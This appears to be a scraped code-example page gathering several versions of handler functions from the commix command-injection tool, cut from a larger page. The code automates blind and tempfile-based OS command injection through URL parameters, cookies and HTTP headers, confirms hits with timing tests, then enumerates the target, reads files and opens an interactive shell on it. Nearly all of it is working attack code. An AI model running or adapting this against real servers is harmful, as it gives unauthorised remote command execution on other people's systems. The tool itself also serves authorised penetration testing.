    sys.stdout.write("\r")
    sys.stdout.flush()
Esempio n. 32
0
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method):
  
  counter = 1
  vp_flag = True
  no_result = True
  is_encoded = False
  fixation = False
  export_injection_info = False
  injection_type = "Semiblind-based Command Injection"
  technique = "tempfile-based injection technique"
  
  # Check if defined "--maxlen" option.
  if menu.options.maxlen:
    maxlen = menu.options.maxlen
    
  # Check if defined "--url-reload" option.
  if menu.options.url_reload == True:
    print Back.RED + "(x) Error: The '--url-reload' option is not available in "+ technique +"!" + Style.RESET_ALL
  
  num_of_chars = 0
  # Calculate all possible combinations
  total = len(settings.SEPARATORS)
  
  # Estimating the response time (in seconds)
  request = urllib2.Request(url)
  headers.do_check(request)
  start = time.time()
  response = urllib2.urlopen(request)
  response.read(1)
  response.close()
  end = time.time()
  diff = end - start
  url_time_response = int(diff)
  if url_time_response != 0 :
    print Style.BRIGHT + "(!) The estimated response time is " + str(url_time_response) + " second" + "s"[url_time_response == 1:] + "." + Style.RESET_ALL
  delay = int(delay) + int(url_time_response)
  
  for separator in settings.SEPARATORS:
    num_of_chars = num_of_chars + 1
          
    # Change TAG on every request to prevent false-positive resutls.
    TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))  

    # The output file for file-based injection technique.
    OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
    alter_shell = menu.options.alter_shell
    tag_length = len(TAG) + 4
    
    for output_length in range(1, int(tag_length)):
      try:

        # Tempfile-based decision payload (check if host is vulnerable).
        if alter_shell :
          payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
        else:
          payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)

        # Check if defined "--verbose" option.
        if menu.options.verbose:
          if separator == ";" or separator == "&&" or separator == "||":
            sys.stdout.write("\n" + Fore.GREY + payload.replace("\n", "\\n") + Style.RESET_ALL)
            
        # Cookie Injection
        if settings.COOKIE_INJECTION == True:
          # Check if target host is vulnerable to cookie injection.
          vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
          how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload)
        else:
          # Check if target host is vulnerable.
          how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url)

        if not menu.options.verbose:
          percent = ((num_of_chars*100)/total)
          if how_long >= delay:
            percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
          elif percent == 100:
            if no_result == True:
              percent = Fore.RED + "FAILED" + Style.RESET_ALL
            else:
                percent = str(percent)+"%"
          else:
            percent = str(percent)+"%"
          sys.stdout.write("\r(*) Testing the "+ technique + "... " +  "[ " + percent + " ]")  
          sys.stdout.flush()
          
      except KeyboardInterrupt: 
        raise
      
      except:
        if not menu.options.verbose:
          percent = ((num_of_chars*100)/total)
          
          if percent == 100:
            if no_result == True:
              percent = Fore.RED + "FAILED" + Style.RESET_ALL
              sys.stdout.write("\r(*) Testing the "+ technique + "... " +  "[ " + percent + " ]")  
              sys.stdout.flush()
              break
            else:
              percent = str(percent)+"%"
            raise
          else:
            percent = str(percent)+"%"
        break
      
      # Yaw, got shellz! 
      # Do some magic tricks!
      if how_long >= delay:

        found = True
        no_result = False
        
        if settings.COOKIE_INJECTION == True: 
          http_request_method = "cookie"
          found_vuln_parameter = vuln_parameter
        else:
          if http_request_method == "GET":
            found_vuln_parameter = parameters.vuln_GET_param(url)
          else :
            found_vuln_parameter = vuln_parameter

        # Print the findings to log file.
        if export_injection_info == False:
          export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
        if vp_flag == True:
          vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload)
        logs.upload_payload(filename, counter, payload) 
        counter = counter + 1
        
        # Print the findings to terminal.
        print Style.BRIGHT + "\n(!) The ("+ http_request_method + ") '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "' parameter is vulnerable to "+ injection_type +"."+ Style.RESET_ALL
        print "  (+) Type : "+ Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
        print "  (+) Technique : "+ Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
        print "  (+) Payload : "+ Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL
        
        # Check for any enumeration options.
        tfb_enumeration.do_check(separator, maxlen, TAG, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)

        # Check for any enumeration options.
        tfb_file_access.do_check(separator, maxlen, TAG, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
        
        # Pseudo-Terminal shell
        while True:
          gotshell = raw_input("\n(?) Do you want a Pseudo-Terminal shell? [Y/n] > ").lower()
          if gotshell in settings.CHOISE_YES:
            print ""
            print "Pseudo-Terminal (type 'q' or use <Ctrl-C> to quit)"
            while True:
              try:
                cmd = raw_input("Shell > ")
                if cmd == "q":
                  sys.exit(0)
                  
                else:
                  # The main command injection exploitation.
                  # Cookie Injection
                  check_how_long, output  = tfb_injector.injection(separator, maxlen, TAG, cmd, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)

                  if menu.options.verbose:
                    print ""
                  if output != "" and check_how_long != 0 :
                    print "\n\n" + Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL
                    print "\n(*) Finished in "+ time.strftime('%H:%M:%S', time.gmtime(check_how_long)) +".\n"
                  else:
                    print ""
                  
              except KeyboardInterrupt: 
                print ""
                sys.exit(0)
                
          elif gotshell in settings.CHOISE_NO:
            break
            if menu.options.verbose:
              sys.stdout.write("\r(*) Continue testing the "+ technique +"... ")
              sys.stdout.flush()
          
          else:
            if gotshell == "":
              gotshell = "enter"
            print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
            pass
          
        break
    
  if no_result == True:
    if menu.options.verbose == False:
      print ""
      return False
    else:
      print ""
      return False
  else :
    sys.stdout.write("\r")
    sys.stdout.flush()
Esempio n. 33
0
def tb_injection_handler(url, timesec, filename, http_request_method, url_time_response):
 
  counter = 1
  num_of_chars = 1
  vp_flag = True
  no_result = True
  is_encoded = False
  possibly_vulnerable = False
  false_positive_warning = False
  export_injection_info = False
  how_long = 0
  injection_type = "blind OS command injection"
  technique = "time-based command injection technique"

  if settings.VERBOSITY_LEVEL >= 1:
    info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... "
    print settings.print_info_msg(info_msg)

  # Check if defined "--maxlen" option.
  if menu.options.maxlen:
    maxlen = settings.MAXLEN
    
  # Check if defined "--url-reload" option.
  if menu.options.url_reload == True:
    warn_msg = "The '--url-reload' option is not available in " + technique + "."
    print settings.print_warning_msg(warn_msg)

  #whitespace = checks.check_whitespaces()
  # Calculate all possible combinations
  total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
  for whitespace in settings.WHITESPACE:
    for prefix in settings.PREFIXES:
      for suffix in settings.SUFFIXES:
        for separator in settings.SEPARATORS:
          # Check injection state
          settings.DETECTION_PHASE = True
          settings.EXPLOITATION_PHASE = False
          # If a previous session is available.
          how_long_statistic = []
          if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type):
            try:
              settings.TIME_BASED_STATE = True
              cmd = shell = ""
              url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
              checks.check_for_stored_tamper(payload)
              settings.FOUND_HOW_LONG = how_long
              settings.FOUND_DIFF = how_long - timesec
            except TypeError:
              err_msg = "An error occurred while accessing session file ('"
              err_msg += settings.SESSION_FILE + "'). "
              err_msg += "Use the '--flush-session' option."
              print settings.print_critical_msg(err_msg)
              raise SystemExit()

          if settings.RETEST == True:
            settings.RETEST = False
            from src.core.injections.results_based.techniques.classic import cb_handler
            cb_handler.exploitation(url, timesec, filename, http_request_method)

          if not settings.LOAD_SESSION:
            num_of_chars = num_of_chars + 1
            # Check for bad combination of prefix and separator
            combination = prefix + separator
            if combination in settings.JUNK_COMBINATION:
              prefix = ""
            
            # Define alter shell
            alter_shell = menu.options.alter_shell
            
            # Change TAG on every request to prevent false-positive results.
            TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
            tag_length = len(TAG) + 4
            
            for output_length in range(1, int(tag_length)):
              try:
                if alter_shell:
                  # Time-based decision payload (check if host is vulnerable).
                  payload = tb_payloads.decision_alter_shell(separator, TAG, output_length, timesec, http_request_method)
                else:
                  # Time-based decision payload (check if host is vulnerable).
                  payload = tb_payloads.decision(separator, TAG, output_length, timesec, http_request_method)

                # Fix prefixes / suffixes
                payload = parameters.prefixes(payload, prefix)
                payload = parameters.suffixes(payload, suffix)

                # Whitespace fixation
                payload = payload.replace(" ", whitespace)
                
                # Perform payload modification
                payload = checks.perform_payload_modification(payload)

                # Check if defined "--verbose" option.
                if settings.VERBOSITY_LEVEL == 1:
                  payload_msg = payload.replace("\n", "\\n")
                  print settings.print_payload(payload_msg)
                # Check if defined "--verbose" option.
                elif settings.VERBOSITY_LEVEL > 1:
                  info_msg = "Generating a payload for injection..."
                  print settings.print_info_msg(info_msg)
                  payload_msg = payload.replace("\n", "\\n") 
                  sys.stdout.write(settings.print_payload(payload_msg) + "\n")

                # Cookie header injection
                if settings.COOKIE_INJECTION == True:
                  # Check if target host is vulnerable to cookie header injection.
                  vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
                  how_long = tb_injector.cookie_injection_test(url, vuln_parameter, payload)

                # User-Agent HTTP header injection
                elif settings.USER_AGENT_INJECTION == True:
                  # Check if target host is vulnerable to user-agent HTTP header injection.
                  vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
                  how_long = tb_injector.user_agent_injection_test(url, vuln_parameter, payload)

                # Referer HTTP header injection
                elif settings.REFERER_INJECTION == True:
                  # Check if target host is vulnerable to referer HTTP header injection.
                  vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
                  how_long = tb_injector.referer_injection_test(url, vuln_parameter, payload)

                # Host HTTP header injection
                elif settings.HOST_INJECTION == True:
                  # Check if target host is vulnerable to host HTTP header injection.
                  vuln_parameter = parameters.specify_host_parameter(menu.options.host)
                  how_long = tb_injector.host_injection_test(url, vuln_parameter, payload)

                # Custom HTTP header Injection
                elif settings.CUSTOM_HEADER_INJECTION == True:
                  # Check if target host is vulnerable to custom http header injection.
                  vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
                  how_long = tb_injector.custom_header_injection_test(url, vuln_parameter, payload)

                else:
                  # Check if target host is vulnerable.
                  how_long, vuln_parameter = tb_injector.injection_test(payload, http_request_method, url)

                # Statistical analysis in time responses.
                how_long_statistic.append(how_long)

                # Injection percentage calculation
                percent = ((num_of_chars * 100) / total)
                float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total * 1.0)),2))

                if percent == 100 and no_result == True:
                  if not settings.VERBOSITY_LEVEL >= 1:
                    percent = Fore.RED + "FAILED" + Style.RESET_ALL
                  else:
                    percent = ""
                else:
                  if (url_time_response == 0 and (how_long - timesec) >= 0) or \
                     (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
                     (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :

                    # Time relative false positive fixation.
                    false_positive_fixation = False
                    if len(TAG) == output_length:

                      # Simple statical analysis
                      statistical_anomaly = True
                      if len(set(how_long_statistic[0:5])) == 1:
                        if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1:
                          statistical_anomaly = False
                          how_long_statistic = []  

                      if timesec <= how_long and not statistical_anomaly:
                        false_positive_fixation = True
                      else:
                        false_positive_warning = True

                    # Identified false positive warning message.
                    if false_positive_warning:
                      warn_msg = "Unexpected time delays have been identified due to unstable "
                      warn_msg += "requests. This behavior may lead to false-positive results.\n"
                      sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
                      while True:
                        if not menu.options.batch:
                          question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
                          sys.stdout.write(settings.print_question_msg(question_msg))
                          proceed_option = sys.stdin.readline().replace("\n","").lower()
                        else:
                          proceed_option = ""  
                        if len(proceed_option) == 0:
                           proceed_option = "c" 
                        if proceed_option.lower() in settings.CHOICE_PROCEED :
                          if proceed_option.lower() == "s":
                            false_positive_fixation = False
                            raise
                          elif proceed_option.lower() == "c":
                            timesec = timesec + 1
                            false_positive_fixation = True
                            break
                          elif proceed_option.lower() == "q":
                            raise SystemExit()
                        else:
                          err_msg = "'" + proceed_option + "' is not a valid answer."
                          print settings.print_error_msg(err_msg)
                          pass

                    # Check if false positive fixation is True.
                    if false_positive_fixation:
                      false_positive_fixation = False
                      settings.FOUND_HOW_LONG = how_long
                      settings.FOUND_DIFF = how_long - timesec
                      if false_positive_warning:
                        time.sleep(1)
                      randv1 = random.randrange(1, 10)
                      randv2 = random.randrange(1, 10)
                      randvcalc = randv1 + randv2

                      if settings.TARGET_OS == "win":
                        if alter_shell:
                          cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str(randv1) + " + " + str(randv2) + ")\""
                        else:
                          cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")"
                      else:
                        cmd = "expr " + str(randv1) + " %2B " + str(randv2) + ""

                      # Set the original delay time
                      original_how_long = how_long
                      
                      # Check for false positive resutls
                      how_long, output = tb_injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response)

                      if (url_time_response == 0 and (how_long - timesec) >= 0) or \
                         (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
                         (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
                        
                        if str(output) == str(randvcalc) and len(TAG) == output_length:
                          possibly_vulnerable = True
                          how_long_statistic = 0
                          if not settings.VERBOSITY_LEVEL >= 1:
                            percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                          else:
                            percent = ""
                      else:
                        break
                    # False positive
                    else:
                      if not settings.VERBOSITY_LEVEL >= 1:
                        percent = str(float_percent)+ "%"
                        info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " +  "[ " + percent + " ]"
                        sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                        sys.stdout.flush()
                      continue    
                  else:
                    if not settings.VERBOSITY_LEVEL >= 1:
                      percent = str(float_percent)+ "%"
                      info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " +  "[ " + percent + " ]"
                      sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                      sys.stdout.flush()
                    continue
                if not settings.VERBOSITY_LEVEL >= 1:
                  info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " +  "[ " + percent + " ]"
                  sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                  sys.stdout.flush()

              except KeyboardInterrupt: 
                raise

              except SystemExit:
                raise

              except EOFError:
                err_msg = "Exiting, due to EOFError."
                print settings.print_error_msg(err_msg)
                raise

              except:
                percent = ((num_of_chars * 100) / total)
                float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
                if str(float_percent) == "100.0":
                  if no_result == True:
                    if not settings.VERBOSITY_LEVEL >= 1:
                      percent = Fore.RED + "FAILED" + Style.RESET_ALL
                      info_msg =  "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " +  "[ " + percent + " ]"
                      sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                      sys.stdout.flush()
                    else:
                      percent = ""
                  else:
                    percent = str(float_percent) + "%"
                    print ""
                    # Print logs notification message
                    logs.logs_notification(filename)
                  #raise
                else:
                  percent = str(float_percent) + "%"
              break
              
          # Yaw, got shellz! 
          # Do some magic tricks!
          if (url_time_response == 0 and (how_long - timesec) >= 0) or \
             (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
             (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :  
            if (len(TAG) == output_length) and \
               (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level):

              found = True
              no_result = False
              # Check injection state
              settings.DETECTION_PHASE = False
              settings.EXPLOITATION_PHASE = True
              if settings.LOAD_SESSION:
                possibly_vulnerable = False

              if settings.COOKIE_INJECTION == True: 
                header_name = " cookie"
                found_vuln_parameter = vuln_parameter
                the_type = " parameter"

              elif settings.USER_AGENT_INJECTION == True: 
                header_name = " User-Agent"
                found_vuln_parameter = ""
                the_type = " HTTP header"

              elif settings.REFERER_INJECTION == True: 
                header_name = " Referer"
                found_vuln_parameter = ""
                the_type = " HTTP header"

              elif settings.CUSTOM_HEADER_INJECTION == True: 
                header_name = " " + settings.CUSTOM_HEADER_NAME
                found_vuln_parameter = ""
                the_type = " HTTP header"

              else:
                header_name = ""
                the_type = " parameter"
                if http_request_method == "GET":
                  found_vuln_parameter = parameters.vuln_GET_param(url)
                else :
                  found_vuln_parameter = vuln_parameter

              if len(found_vuln_parameter) != 0 :
                found_vuln_parameter = " '" +  found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'" 
              
              # Print the findings to log file.
              if export_injection_info == False:
                export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
              if vp_flag == True:
                vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
              logs.update_payload(filename, counter, payload) 
              counter = counter + 1

              if not settings.LOAD_SESSION:
                if not settings.VERBOSITY_LEVEL >= 1:
                  print ""
                else:
                  checks.total_of_requests()

              # Print the findings to terminal.
              success_msg = "The"
              if len(found_vuln_parameter) > 0 and not "cookie" in header_name : 
                success_msg += " " + http_request_method 
              success_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
              success_msg += found_vuln_parameter + " seems injectable via "
              success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
              print settings.print_success_msg(success_msg)
              print settings.SUB_CONTENT_SIGN + "Payload: " + str(checks.url_decode(payload)) + Style.RESET_ALL
              # Export session
              if not settings.LOAD_SESSION:
                shell = ""
                session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level)
                #possibly_vulnerable = False
              else:
                settings.LOAD_SESSION = False 
              
              new_line = False   
              # Check for any enumeration options.
              if settings.ENUMERATION_DONE == True:
                while True:
                  if not menu.options.batch:
                    question_msg = "Do you want to enumerate again? [Y/n] > "
                    enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
                  else:
                    enumerate_again = ""
                  if len(enumerate_again) == 0:
                    enumerate_again = "y"
                  if enumerate_again in settings.CHOICE_YES:
                    tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
                    print ""
                    break
                  elif enumerate_again in settings.CHOICE_NO: 
                    new_line = True
                    break
                  elif enumerate_again in settings.CHOICE_QUIT:
                    raise SystemExit()
                  else:
                    err_msg = "'" + enumerate_again + "' is not a valid answer."  
                    print settings.print_error_msg(err_msg)
                    pass
              else:
                if menu.enumeration_options():
                  tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
                  print ""

              # Check for any system file access options.
              if settings.FILE_ACCESS_DONE == True:
                print ""
                while True:
                  if not menu.options.batch:
                    question_msg = "Do you want to access files again? [Y/n] > "
                    sys.stdout.write(settings.print_question_msg(question_msg))
                    file_access_again = sys.stdin.readline().replace("\n","").lower()
                  else:
                    file_access_again = "" 
                  if len(file_access_again) == 0:
                     file_access_again = "y" 
                  if file_access_again in settings.CHOICE_YES:
                    tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
                    break
                  elif file_access_again in settings.CHOICE_NO: 
                    if not new_line:
                      new_line = True
                    break 
                  elif file_access_again in settings.CHOICE_QUIT:
                    raise SystemExit()
                  else:
                    err_msg = "'" + file_access_again  + "' is not a valid answer."  
                    print settings.print_error_msg(err_msg)
                    pass
              else:
                # if not menu.enumeration_options() and not menu.options.os_cmd:
                #   print ""
                tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)

              # Check if defined single cmd.
              if menu.options.os_cmd:
                cmd = menu.options.os_cmd
                check_how_long, output = tb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
                # Export injection result
                tb_injector.export_injection_results(cmd, separator, output, check_how_long)
                print ""
                logs.print_logs_notification(filename, url) 
                raise SystemExit()

              if not new_line :
                print ""

              # Pseudo-Terminal shell
              go_back = False
              go_back_again = False
              while True:
                if go_back == True:
                  break 
                if not menu.options.batch:  
                  question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
                  sys.stdout.write(settings.print_question_msg(question_msg))
                  gotshell = sys.stdin.readline().replace("\n","").lower()
                else:
                  gotshell = "" 
                if len(gotshell) == 0:
                  gotshell = "y"
                if gotshell in settings.CHOICE_YES:
                  if not menu.options.batch:
                    print ""
                  print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                  if readline_error:
                    checks.no_readline_module()
                  while True:
                    if false_positive_warning:
                      warn_msg = "Due to unexpected time delays, it is highly "
                      warn_msg += "recommended to enable the 'reverse_tcp' option.\n"
                      sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
                      false_positive_warning = False
                    try:
                      # Tab compliter
                      if not readline_error:
                        readline.set_completer(menu.tab_completer)
                        # MacOSX tab compliter
                        if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
                          readline.parse_and_bind("bind ^I rl_complete")
                        # Unix tab compliter
                        else:
                          readline.parse_and_bind("tab: complete")
                      cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                      cmd = checks.escaped_cmd(cmd)
                      if cmd.lower() in settings.SHELL_OPTIONS:
                        go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
                        if go_back and go_back_again == False:
                          break
                        if go_back and go_back_again:
                          return True 
                      else:
                        if menu.options.ignore_session or \
                           session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                          # The main command injection exploitation.
                          check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
                          # Export injection result
                          tb_injector.export_injection_results(cmd, separator, output, check_how_long)
                          if not menu.options.ignore_session :
                            session_handler.store_cmd(url, cmd, output, vuln_parameter)
                        else:
                          output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
                          print "\n" + Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL
                        # Update logs with executed cmds and execution results.
                        logs.executed_command(filename, cmd, output)
                        print ""

                    except KeyboardInterrupt: 
                      raise

                    except SystemExit: 
                      raise

                    except EOFError:
                      err_msg = "Exiting, due to EOFError."
                      print settings.print_error_msg(err_msg)
                      raise

                elif gotshell in settings.CHOICE_NO:
                  if checks.next_attack_vector(technique, go_back) == True:
                    break
                  else:
                    if no_result == True:
                      return False 
                    else:
                      return True  
                      
                elif gotshell in settings.CHOICE_QUIT:
                  raise SystemExit()

                else:
                  err_msg = "'" + gotshell + "' is not a valid answer."
                  print settings.print_error_msg(err_msg)
                  pass
                break
            
    
  if no_result == True:
    if settings.VERBOSITY_LEVEL == 0:
      print ""
    return False

  else :
    sys.stdout.write("\r")
    sys.stdout.flush()
Esempio n. 34
0
def tb_injection_handler(url, delay, filename, http_request_method,
                         url_time_response):

    counter = 1
    num_of_chars = 1
    vp_flag = True
    no_result = True
    is_encoded = False
    is_vulnerable = False
    again_warning = True
    false_positive_warning = False
    export_injection_info = False
    how_long = 0
    how_long_statistic = 0
    injection_type = "Blind Command Injection"
    technique = "time-based injection technique"

    if menu.options.verbose:
        print settings.INFO_SIGN + "Testing the " + technique + "... "

    # Check if defined "--maxlen" option.
    if menu.options.maxlen:
        maxlen = settings.MAXLEN

    # Check if defined "--url-reload" option.
    if menu.options.url_reload == True:
        print Fore.YELLOW + settings.WARNING_SIGN + "The '--url-reload' option is not available in " + technique + "." + Style.RESET_ALL

    # Calculate all possible combinations
    total = (len(settings.PREFIXES) * len(settings.SEPARATORS) *
             len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))

    for prefix in settings.PREFIXES:
        for suffix in settings.SUFFIXES:
            for separator in settings.SEPARATORS:

                # If a previous session is available.
                if settings.LOAD_SESSION and session_handler.notification(
                        url, technique):
                    cmd = shell = ""
                    url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
                        url, http_request_method)
                    settings.FOUND_HOW_LONG = how_long
                    settings.FOUND_DIFF = how_long - delay

                if settings.RETEST == True:
                    settings.RETEST = False
                    from src.core.injections.results_based.techniques.classic import cb_handler
                    cb_handler.exploitation(url, delay, filename,
                                            http_request_method)

                if not settings.LOAD_SESSION:
                    num_of_chars = num_of_chars + 1
                    # Check for bad combination of prefix and separator
                    combination = prefix + separator
                    if combination in settings.JUNK_COMBINATION:
                        prefix = ""

                    # Define alter shell
                    alter_shell = menu.options.alter_shell

                    # Change TAG on every request to prevent false-positive results.
                    TAG = ''.join(
                        random.choice(string.ascii_uppercase)
                        for num_of_chars in range(6))
                    tag_length = len(TAG) + 4

                    for output_length in range(1, int(tag_length)):
                        try:
                            if alter_shell:
                                # Time-based decision payload (check if host is vulnerable).
                                payload = tb_payloads.decision_alter_shell(
                                    separator, TAG, output_length, delay,
                                    http_request_method)
                            else:
                                # Time-based decision payload (check if host is vulnerable).
                                payload = tb_payloads.decision(
                                    separator, TAG, output_length, delay,
                                    http_request_method)

                            # Fix prefixes / suffixes
                            payload = parameters.prefixes(payload, prefix)
                            payload = parameters.suffixes(payload, suffix)

                            if menu.options.base64:
                                payload = base64.b64encode(payload)

                            # Check if defined "--verbose" option.
                            if menu.options.verbose:
                                print Fore.GREY + settings.PAYLOAD_SIGN + payload.replace(
                                    "\n", "\\n") + Style.RESET_ALL

                            # Cookie Injection
                            if settings.COOKIE_INJECTION == True:
                                # Check if target host is vulnerable to cookie injection.
                                vuln_parameter = parameters.specify_cookie_parameter(
                                    menu.options.cookie)
                                how_long = tb_injector.cookie_injection_test(
                                    url, vuln_parameter, payload)

                            # User-Agent Injection
                            elif settings.USER_AGENT_INJECTION == True:
                                # Check if target host is vulnerable to user-agent injection.
                                vuln_parameter = parameters.specify_user_agent_parameter(
                                    menu.options.agent)
                                how_long = tb_injector.user_agent_injection_test(
                                    url, vuln_parameter, payload)

                            # Referer Injection
                            elif settings.REFERER_INJECTION == True:
                                # Check if target host is vulnerable to referer injection.
                                vuln_parameter = parameters.specify_referer_parameter(
                                    menu.options.referer)
                                how_long = tb_injector.referer_injection_test(
                                    url, vuln_parameter, payload)

                            # Custom HTTP header Injection
                            elif settings.CUSTOM_HEADER_INJECTION == True:
                                # Check if target host is vulnerable to custom http header injection.
                                vuln_parameter = parameters.specify_custom_header_parameter(
                                    settings.INJECT_TAG)
                                how_long = tb_injector.custom_header_injection_test(
                                    url, vuln_parameter, payload)

                            else:
                                # Check if target host is vulnerable.
                                how_long, vuln_parameter = tb_injector.injection_test(
                                    payload, http_request_method, url)

                            # Statistical analysis in time responses.
                            how_long_statistic = how_long_statistic + how_long

                            # Reset the how_long_statistic counter
                            if output_length == tag_length - 1:
                                how_long_statistic = 0

                            # Injection percentage calculation
                            percent = ((num_of_chars * 100) / total)
                            float_percent = "{0:.1f}".format(
                                round(((num_of_chars * 100) / (total * 1.0)),
                                      2))

                            if percent == 100 and no_result == True:
                                if not menu.options.verbose:
                                    percent = Fore.RED + "FAILED" + Style.RESET_ALL
                                else:
                                    percent = ""
                            else:
                                if (url_time_response == 0 and (how_long - delay) >= 0) or \
                                   (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
                                   (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :

                                    # Time relative false positive fixation.
                                    false_positive_fixation = False
                                    if len(TAG) == output_length:
                                        # Windows targets.
                                        if settings.TARGET_OS == "win":
                                            if how_long > (how_long_statistic /
                                                           output_length):
                                                false_positive_fixation = True
                                            else:
                                                false_positive_warning = True
                                        # Unix-like targets.
                                        else:
                                            if delay == 1 and (how_long_statistic == delay) or \
                                              delay == 1 and (how_long_statistic == how_long) or \
                                              delay > 1 and (how_long_statistic == (output_length + delay)) and \
                                              how_long == delay + 1:
                                                false_positive_fixation = True
                                            else:
                                                false_positive_warning = True

                                    # Identified false positive warning message.
                                    if false_positive_warning and again_warning:
                                        again_warning = False
                                        warning_msg = settings.WARNING_SIGN + "Unexpected time delays have been identified due to unstable "
